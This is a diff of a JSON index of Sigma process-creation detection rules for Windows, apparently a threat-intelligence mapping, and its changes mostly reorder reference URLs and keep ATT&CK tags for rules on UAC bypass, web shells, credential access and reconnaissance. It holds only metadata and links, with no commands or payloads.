"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sus_auditpol_usage.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sus_auditpol_usage.yml", + "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/" ], "tags": [ "attack.defense_evasion", @@ -55259,9 +55257,9 @@ "logsource.product": "windows", "refs": [ "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41120", - "https://twitter.com/filip_dragovic/status/1590052248260055041", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysmon_exploitation.yml", "https://twitter.com/filip_dragovic/status/1590104354727436290", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysmon_exploitation.yml" + "https://twitter.com/filip_dragovic/status/1590052248260055041" ], "tags": "No established tags" }, @@ -55281,9 +55279,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysmon_uac_bypass_eventvwr.yml", "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", - "https://www.hybrid-analysis.com/sample/e122bc8bf291f15cab182a5d2d27b8db1e7019e4e96bb5cdbd1dfe7446f3f51f?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysmon_uac_bypass_eventvwr.yml" + "https://www.hybrid-analysis.com/sample/e122bc8bf291f15cab182a5d2d27b8db1e7019e4e96bb5cdbd1dfe7446f3f51f?environmentId=100" ], "tags": [ "attack.defense_evasion", @@ -55331,8 +55329,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/GelosSnake/status/934900723426439170", "https://asec.ahnlab.com/en/39828/", + "https://twitter.com/GelosSnake/status/934900723426439170", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_system_exe_anomaly.yml" ], "tags": [ @@ -55403,10 +55401,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_taskkill_sep.yml", "https://www.exploit-db.com/exploits/37525", - "https://community.spiceworks.com/topic/2195015-batch-script-to-uninstall-symantec-endpoint-protection", "https://community.broadcom.com/symantecenterprise/communities/community-home/digestviewer/viewthread?MessageKey=6ce94b67-74e1-4333-b16f-000b7fd874f0&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=digestviewer", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_taskkill_sep.yml" + "https://community.spiceworks.com/topic/2195015-batch-script-to-uninstall-symantec-endpoint-protection" ], "tags": [ "attack.defense_evasion", @@ -55456,9 +55454,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/", "https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_teams_suspicious_command_line_cred_access.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_teams_suspicious_command_line_cred_access.yml", + "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/" ], "tags": [ "attack.credential_access", @@ -55508,13 +55506,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://attack.mitre.org/techniques/T1557/001/", - "https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/", - "https://pentestlab.blog/2017/04/13/hot-potato/", - "https://github.com/ohpe/juicy-potato", "https://hunter2.gitbook.io/darthsidious/other/war-stories/domain-admin-in-30-minutes", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tools_relay_attacks.yml", + "https://attack.mitre.org/techniques/T1557/001/", "https://hunter2.gitbook.io/darthsidious/execution/responder-with-ntlm-relay-and-empire", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tools_relay_attacks.yml" + "https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/", + "https://github.com/ohpe/juicy-potato", + "https://pentestlab.blog/2017/04/13/hot-potato/" ], "tags": [ "attack.execution", @@ -55537,8 +55535,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tools_uac_bypass_computerdefaults.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tools_uac_bypass_computerdefaults.yml", + "https://github.com/hfiref0x/UACME" ], "tags": [ "attack.defense_evasion", @@ -55562,9 +55560,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.nirsoft.net/utils/nircmd.html", "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", "https://www.nirsoft.net/utils/nircmd2.html#using", + "https://www.nirsoft.net/utils/nircmd.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tool_nircmd.yml" ], "tags": [ @@ -55589,9 +55587,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.nirsoft.net/utils/nircmd.html", "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", "https://www.nirsoft.net/utils/nircmd2.html#using", + "https://www.nirsoft.net/utils/nircmd.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tool_nircmd_as_system.yml" ], "tags": [ @@ -55616,9 +55614,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://nsudo.m2team.org/en-us/", "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tool_nsudo_execution.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tool_nsudo_execution.yml", + "https://nsudo.m2team.org/en-us/" ], "tags": [ "attack.execution", @@ -55668,8 +55666,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.d7xtech.com/free-software/runx/", "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", + "https://www.d7xtech.com/free-software/runx/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tool_runx_as_system.yml" ], "tags": [ @@ -55694,8 +55692,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.logpoint.com/en/blog/detecting-tor-use-with-logpoint/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tor_browser.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tor_browser.yml", + "https://www.logpoint.com/en/blog/detecting-tor-use-with-logpoint/" ], "tags": [ "attack.command_and_control", @@ -55718,9 +55716,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_trufflesnout.yml", "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1482/T1482.md", - "https://github.com/dsnezhkov/TruffleSnout", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_trufflesnout.yml" + "https://github.com/dsnezhkov/TruffleSnout" ], "tags": [ "attack.discovery", @@ -55743,12 +55741,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1482/T1482.md", - "https://eqllib.readthedocs.io/en/latest/analytics/03e231a6-74bc-467a-acb1-e5676b0fb55e.html", - "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_trust_discovery.yml", "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", "https://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_trust_discovery.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1482/T1482.md", + "https://eqllib.readthedocs.io/en/latest/analytics/03e231a6-74bc-467a-acb1-e5676b0fb55e.html", + "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/" ], "tags": [ "attack.discovery", @@ -55771,10 +55769,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://mattharr0ey.medium.com/privilege-escalation-uac-bypass-in-changepk-c40b92818d1b", - "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_changepk_slui.yml", "https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_changepk_slui.yml" + "https://github.com/hfiref0x/UACME", + "https://mattharr0ey.medium.com/privilege-escalation-uac-bypass-in-changepk-c40b92818d1b" ], "tags": [ "attack.defense_evasion", @@ -55823,10 +55821,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/e584f1a1-c303-4885-8a66-21360c90995b.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.003/T1218.003.md", - "https://lolbas-project.github.io/lolbas/Binaries/Cmstp/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_cmstp.yml" + "https://eqllib.readthedocs.io/en/latest/analytics/e584f1a1-c303-4885-8a66-21360c90995b.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_cmstp.yml", + "https://lolbas-project.github.io/lolbas/Binaries/Cmstp/" ], "tags": [ "attack.privilege_escalation", @@ -55851,8 +55849,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_consent_comctl32.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_consent_comctl32.yml", + "https://github.com/hfiref0x/UACME" ], "tags": [ "attack.defense_evasion", @@ -55876,8 +55874,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_dismhost.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_dismhost.yml", + "https://github.com/hfiref0x/UACME" ], "tags": [ "attack.defense_evasion", @@ -55901,8 +55899,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/e491ce22-792f-11e9-8f5c-d46d6d62a49e.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md", + "https://eqllib.readthedocs.io/en/latest/analytics/e491ce22-792f-11e9-8f5c-d46d6d62a49e.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_fodhelper.yml" ], "tags": [ @@ -55950,8 +55948,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.elastic.co/guide/en/security/current/uac-bypass-via-icmluautil-elevated-com-interface.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_icmluautil.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_icmluautil.yml", + "https://www.elastic.co/guide/en/security/current/uac-bypass-via-icmluautil-elevated-com-interface.html" ], "tags": [ "attack.defense_evasion", @@ -55975,8 +55973,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/Wh04m1001/IDiagnosticProfileUAC", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_idiagnostic_profile.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_idiagnostic_profile.yml", + "https://github.com/Wh04m1001/IDiagnosticProfileUAC" ], "tags": [ "attack.execution", @@ -56001,8 +55999,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_ieinstal.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_ieinstal.yml", + "https://github.com/hfiref0x/UACME" ], "tags": [ "attack.defense_evasion", @@ -56051,8 +56049,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_ntfs_reparse_point.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_ntfs_reparse_point.yml", + "https://github.com/hfiref0x/UACME" ], "tags": [ "attack.defense_evasion", @@ -56126,8 +56124,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wmp.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wmp.yml", + "https://github.com/hfiref0x/UACME" ], "tags": [ "attack.defense_evasion", @@ -56151,11 +56149,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/532b5ed4-7930-11e9-8f5c-d46d6d62a49e.html", - "https://lolbas-project.github.io/lolbas/Binaries/Wsreset/", - "https://www.activecyber.us/activelabs/windows-uac-bypass", "https://twitter.com/ReaQta/status/1222548288731217921", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wsreset.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wsreset.yml", + "https://lolbas-project.github.io/lolbas/Binaries/Wsreset/", + "https://eqllib.readthedocs.io/en/latest/analytics/532b5ed4-7930-11e9-8f5c-d46d6d62a49e.html", + "https://www.activecyber.us/activelabs/windows-uac-bypass" ], "tags": [ "attack.privilege_escalation", @@ -56179,10 +56177,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wsreset_integrity_level.yml", "https://lolbas-project.github.io/lolbas/Binaries/Wsreset/", - "https://github.com/hfiref0x/UACME", "https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wsreset_integrity_level.yml" + "https://github.com/hfiref0x/UACME" ], "tags": [ "attack.defense_evasion", @@ -56230,8 +56228,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1219/T1219.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ultravnc.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ultravnc.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1219/T1219.md" ], "tags": [ "attack.command_and_control", @@ -56350,8 +56348,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", + "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_user_discovery_get_aduser.yml" ], "tags": [ @@ -56376,8 +56374,8 @@ "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", - "https://pentestlab.blog/2017/03/30/weak-service-permissions/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_using_sc_to_change_sevice_image_path_by_non_admin.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_using_sc_to_change_sevice_image_path_by_non_admin.yml", + "https://pentestlab.blog/2017/03/30/weak-service-permissions/" ], "tags": [ "attack.persistence", @@ -56403,9 +56401,9 @@ "logsource.product": "windows", "refs": [ "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", - "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_using_sc_to_hide_sevices.yml", "https://twitter.com/Alh4zr3d/status/1580925761996828672", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_using_sc_to_hide_sevices.yml" + "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/" ], "tags": [ "attack.persistence", @@ -56455,8 +56453,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/Alh4zr3d/status/1580925761996828672", "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2", + "https://twitter.com/Alh4zr3d/status/1580925761996828672", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_using_set_service_to_hide_services.yml" ], "tags": [ @@ -56482,10 +56480,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Verclsid/", - "https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5", "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_verclsid_runs_com.yml" + "https://lolbas-project.github.io/lolbas/Binaries/Verclsid/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_verclsid_runs_com.yml", + "https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5" ], "tags": [ "attack.defense_evasion", @@ -56533,8 +56531,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://dzone.com/articles/remote-debugging-java-applications-with-jdwp", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vul_java_remote_debugging.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vul_java_remote_debugging.yml", + "https://dzone.com/articles/remote-debugging-java-applications-with-jdwp" ], "tags": [ "attack.t1203", @@ -56557,9 +56555,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/d0dad62dbcae9c60c519368e82c196a3db577055/atomics/T1124/T1124.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_w32tm.yml", "https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_w32tm.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/d0dad62dbcae9c60c519368e82c196a3db577055/atomics/T1124/T1124.md" ], "tags": [ "attack.discovery", @@ -56582,10 +56580,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime", "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wab_execution_from_non_default_location.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wab_execution_from_non_default_location.yml", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime", + "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/" ], "tags": [ "attack.defense_evasion", @@ -56608,10 +56606,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime", "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wab_unusual_parents.yml" + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wab_unusual_parents.yml", + "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/" ], "tags": [ "attack.defense_evasion", @@ -56635,9 +56633,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments", - "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", "https://www.microsoft.com/en-us/security/blog/2022/10/25/dev-0832-vice-society-opportunistic-ransomware-campaigns-impacting-us-education-sector/", + "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_weak_or_abused_passwords.yml" ], "tags": [ @@ -56712,9 +56710,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_detection.yml", "https://unit42.paloaltonetworks.com/bumblebee-webshell-xhunt-campaign/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_detection.yml" + "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html" ], "tags": [ "attack.persistence", @@ -56740,8 +56738,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://youtu.be/7aemGhaE9ds?t=641", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_hacking.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_hacking.yml", + "https://youtu.be/7aemGhaE9ds?t=641" ], "tags": [ "attack.persistence", @@ -56791,8 +56789,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_spawn.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_spawn.yml", + "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF" ], "tags": [ "attack.persistence", @@ -56816,8 +56814,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wevtutil_recon.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wevtutil_recon.yml", + "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html" ], "tags": [ "attack.discovery" @@ -56840,8 +56838,8 @@ "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", - "https://nsudo.m2team.org/en-us/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_as_priv_user.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_as_priv_user.yml", + "https://nsudo.m2team.org/en-us/" ], "tags": [ "attack.privilege_escalation", @@ -56940,8 +56938,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://persistence-info.github.io/Data/windowsterminalprofile.html", "https://twitter.com/nas_bench/status/1550836225652686848", + "https://persistence-info.github.io/Data/windowsterminalprofile.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_windows_terminal_susp_children.yml" ], "tags": [ @@ -57016,8 +57014,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_computersystem_recon.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_computersystem_recon.yml", + "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/" ], "tags": [ "attack.discovery", @@ -57065,9 +57063,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/carlospolop/PEASS-ng/blob/fa0f2e17fbc1d86f1fd66338a40e665e7182501d/winPEAS/winPEASbat/winPEAS.bat", "https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_hotfix_enum.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_hotfix_enum.yml", + "https://github.com/carlospolop/PEASS-ng/blob/fa0f2e17fbc1d86f1fd66338a40e665e7182501d/winPEAS/winPEASbat/winPEAS.bat" ], "tags": [ "attack.execution", @@ -57091,8 +57089,8 @@ "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_reconnaissance.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_reconnaissance.yml", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic" ], "tags": [ "attack.execution", @@ -57115,9 +57113,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_remote_command.yml", "https://securelist.com/moonbounce-the-dark-side-of-uefi-firmware/105468/", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_remote_command.yml" + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic" ], "tags": [ "attack.execution", @@ -57141,8 +57139,8 @@ "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_remote_service.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_remote_service.yml", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic" ], "tags": [ "attack.execution", @@ -57213,8 +57211,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/nccgroup/redsnarf/blob/35949b30106ae543dc6f2bc3f1be10c6d9a8d40e/redsnarf.py", "https://github.com/S3cur3Th1sSh1t/Creds/blob/eac23d67f7f90c7fc8e3130587d86158c22aa398/PowershellScripts/jaws-enum.ps1", + "https://github.com/nccgroup/redsnarf/blob/35949b30106ae543dc6f2bc3f1be10c6d9a8d40e/redsnarf.py", "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_unquoted_service_search.yml" ], @@ -57263,9 +57261,9 @@ "logsource.category": "process_creation", "logsource.product": 